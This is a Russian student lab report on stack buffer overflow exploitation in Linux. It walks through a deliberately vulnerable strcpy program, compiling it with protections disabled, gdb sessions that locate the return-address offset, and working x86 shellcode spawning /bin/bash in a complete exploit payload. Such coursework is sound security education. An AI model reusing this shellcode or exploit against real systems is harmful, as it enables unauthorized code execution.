close

Вход

Забыли?

вход по аккаунту

?

lab3 - linux print

код для вставкиСкачать
ФГБОУ ВПО "Санкт-Петербургский государственный политехнический университет"
Факультет технической кибернетики
---------
Кафедра "Информационная безопасность компьютерных систем"
ОТЧЕТ
по лабораторной работе №3'
Исследование уязвимости переполнения буфера
по дисциплине "Теоритические основы компьютерной безопасности"
Выполнил
студент гр. 3088/1Харук А. А.
Руководитель Степанова Т. В.
Санкт-Петербург
2013
1. Формулировка задания
Получить представление о возникновении и механизме эксплуатации уязвимости переполнения буфера в операционной системе Linux.
2. Использованные теоретические сведения
http://www.securitylab.ru/analytics/406154.php
http://www.insidepro.com/kk/063/063r.shtml
3. Выполненная работа
Для выполнения работы была разработана программа, уязвимая к переполнению буфера. Данная программа принимает входные данные и производит копирование принимаемой строки в массив.
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv) { char buffer[500]; strcpy(buffer, argv[1]); // Vulnerable function! return 0; }
Была произведена компиляция программы с применением следующих флагов
# gcc -o buf.bin -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 buf.c
Проверим, что для этой программы разрешено исполнение стека.
# execstack -q buf.bin X buf.bin
Определим размер входных данных, необходимых для переполнения буфера.
(gdb) run $(python -c 'print "A"*507')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/TOZI/buf.bin $(python -c 'print "A"*507')
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb) run $(python -c 'print "A"*508')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/TOZI/buf.bin $(python -c 'print "A"*508')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers eip
eip 0x414141410x41414141
(gdb) info registers
eax 0x00
ecx 0x00
edx 0x1fd509
ebx 0xb7fcbff4-1208172556
esp 0xbffff3500xbffff350
ebp 0x414141410x41414141
esi 0x00
edi 0x00
eip 0x414141410x41414141
eflags 0x10246[ PF ZF IF RF ]
cs 0x73115
ss 0x7b123
ds 0x7b123
es 0x7b123
fs 0x00
gs 0x3351
Определяем, что 504 байта необходимо для переполнения буфера. Следующие 4 байта переписывают адрес возврата.
Определим адрес, на который будем заменять адрес возврата.
(gdb) list
1// I am a vulnerable thing.
2#include <stdio.h>
3#include <string.h>
4int main(int argc, char** argv) 5{ 6char buffer[500]; 7strcpy(buffer, argv[1]); // Vulnerable function! 8return 0; 9} (gdb) break 7
Breakpoint 1 at 0x80483ed: file buf.c, line 7.
(gdb) run givemeesp
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/TOZI/buf.bin givemeesp
Breakpoint 1, main (argc=2, argv=0xbffff5e4) at buf.c:7
7strcpy(buffer, argv[1]); // Vulnerable function! (gdb) info registers esp
esp 0xbffff33c0xbffff33c
(gdb) run showesp
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/TOZI/buf.bin showesp
Breakpoint 1, main (argc=2, argv=0xbffff5e4) at buf.c:7
7strcpy(buffer, argv[1]); // Vulnerable function! (gdb) info registers esp
esp 0xbffff33c0xbffff33c
(gdb)
(gdb) run $(python -c 'print "A"*490')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/TOZI/buf.bin $(python -c 'print "A"*490')
Breakpoint 1, main (argc=2, argv=0xbffff404) at buf.c:7
7strcpy(buffer, argv[1]); // Vulnerable function! (gdb) info registers esp
esp 0xbffff15c0xbffff15c
(gdb) x/16x $esp
0xbffff15c:0x000000070x000000100x000000010x00000000
0xbffff16c:0x000000000xb7fff5240x000000000xb7ffef9c
0xbffff17c:0xb7fff0200x000000000xb7ffeff40xb7fed21f
0xbffff18c:0xb7ffe0000x000010000x000000010xb7ffeff4
(gdb) step
8return 0; (gdb) x/16x $esp
0xbffff15c:0xbffff1640xbffff56c0x414141410x41414141
0xbffff16c:0x414141410x414141410x414141410x41414141
0xbffff17c:0x414141410x414141410x414141410x41414141
0xbffff18c:0x414141410x414141410x414141410x41414141
(gdb) run $(python -c 'print "A"*500')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/TOZI/buf.bin $(python -c 'print "A"*500')
Breakpoint 1, main (argc=2, argv=0xbffff3f4) at buf.c:7
7strcpy(buffer, argv[1]); // Vulnerable function! (gdb) info registers esp
esp 0xbffff14c0xbffff14c
(gdb) x/16x $esp
0xbffff14c:0x000000070x000000100x000000010x00000000
0xbffff15c:0x000000000xb7fff5240x000000000xb7ffef9c
0xbffff16c:0xb7fff0200x000000000xb7ffeff40xb7fed21f
0xbffff17c:0xb7ffe0000x000010000x000000010xb7ffeff4
(gdb) step
8return 0; (gdb) x/16x $esp
0xbffff14c:0xbffff1540xbffff5620x414141410x41414141
0xbffff15c:0x414141410x414141410x414141410x41414141
0xbffff16c:0x414141410x414141410x414141410x41414141
0xbffff17c:0x414141410x414141410x414141410x41414141
(gdb)
Генерация шелл-кода, который предоставляет атакующему доступ к интерпретатору bash
root@bt:~/TOZI# ./a.out /bin/bash
Shellcode lenght: 45
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x62\x61\x73\x68\x68\x62\x69
\x6e\x2f\x83\xec\x01\xc6\x04\x24
\x2f\x89\xe6\x50\x56\xb0\x0b\x89
\xf3\x89\xe1\x31\xd2\xcd\x80\xb0
\x01\x31\xdb\xcd\x80
Формируемые данные будут иметь следующую структуру:
NOP*323 + 45_байт_шелл-кода + новый_адрес_возврата
(gdb) run $(python -c 'print "A"*323 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x7c\xf1\xff\xbf"*135')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/TOZI/buf.bin $(python -c 'print "A"*323 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x7c\xf1\xff\xbf"*135')
Breakpoint 1, main (argc=2, argv=0xbffff264) at buf.c:7
7strcpy(buffer, argv[1]); // Vulnerable function! (gdb) step
8return 0; (gdb) x/16x $esp
0xbfffefbc:0xbfffefc40xbffff3ca0x414141410x41414141
0xbfffefcc:0x414141410x414141410x414141410x41414141
0xbfffefdc:0x414141410x414141410x414141410x41414141
0xbfffefec:0x414141410x414141410x414141410x41414141
(gdb) x/400x $esp
0xbfffefbc:0xbfffefc40xbffff3ca0x414141410x41414141
0xbfffefcc:0x414141410x414141410x414141410x41414141
Выходные данные опущены
0xbffff0ec:0x414141410x414141410x414141410x41414141
0xbffff0fc:0x414141410x414141410x314141410x01ec83c0
0xbffff10c:0x682404880x687361620x6e6962680x01ec832f
0xbffff11c:0x2f2404c60x5650e6890xf3890bb00xd231e189
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) run $(python -c 'print "A"*323 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xfc\xf0\xff\xbf"*135')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/TOZI/buf.bin $(python -c 'print "A"*323 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xfc\xf0\xff\xbf"*135')
Breakpoint 1, main (argc=2, argv=0xbffff264) at buf.c:7
7strcpy(buffer, argv[1]); // Vulnerable function! (gdb) step
8return 0; (gdb) x/400x $esp
0xbfffefbc:0xbfffefc40xbffff3ca0x414141410x41414141
0xbfffefcc:0x414141410x414141410x414141410x41414141
0xbfffefdc:0x414141410x414141410x414141410x41414141
0xbfffefec:0x414141410x414141410x414141410x41414141
0xbfffeffc:0x414141410x414141410x414141410x41414141
0xbffff00c:0x414141410x414141410x414141410x41414141
0xbffff01c:0x414141410x414141410x414141410x41414141
0xbffff02c:0x414141410x414141410x414141410x41414141
0xbffff03c:0x414141410x414141410x414141410x41414141
0xbffff04c:0x414141410x414141410x414141410x41414141
0xbffff05c:0x414141410x414141410x414141410x41414141
0xbffff06c:0x414141410x414141410x414141410x41414141
0xbffff07c:0x414141410x414141410x414141410x41414141
0xbffff08c:0x414141410x414141410x414141410x41414141
0xbffff09c:0x414141410x414141410x414141410x41414141
0xbffff0ac:0x414141410x414141410x414141410x41414141
0xbffff0bc:0x414141410x414141410x414141410x41414141
0xbffff0cc:0x414141410x414141410x414141410x41414141
0xbffff0dc:0x414141410x414141410x414141410x41414141
0xbffff0ec:0x414141410x414141410x414141410x41414141
0xbffff0fc:0x414141410x414141410x314141410x01ec83c0
0xbffff10c:0x682404880x687361620x6e6962680x01ec832f
0xbffff11c:0x2f2404c60x5650e6890xf3890bb00xd231e189
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) c
Continuing.
process 3100 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
root@bt:/root/TOZI# На самом деле остаётся проблема с рандомизацией адресов. Повторный запуск эксплойта нуждается в корректировке
Starting program: /root/TOZI/buf.bin $(python -c 'print "A"*323 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xdc\xf8\xff\xbf"*135')
Breakpoint 1, main (argc=-1073743652, argv=0xbffff8dc) at buf.c:8
8return 0; (gdb) c
Continuing.
process 3145 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
root@bt:/root/TOZI#
4. Вывод
В ходе выполнения работы была исследована уязвимость переполнения буфера. Эксплуатация этой уязвимости может дать злоумышленнику доступ к ресурсам системы и данным. В рамках данной работы были изучены механизмы защиты операционной системы Linux от атаки на переполнение буфера.
Документ
Категория
Рефераты
Просмотров
13
Размер файла
30 Кб
Теги
print, Linux, lab3
1/--страниц
Пожаловаться на содержимое документа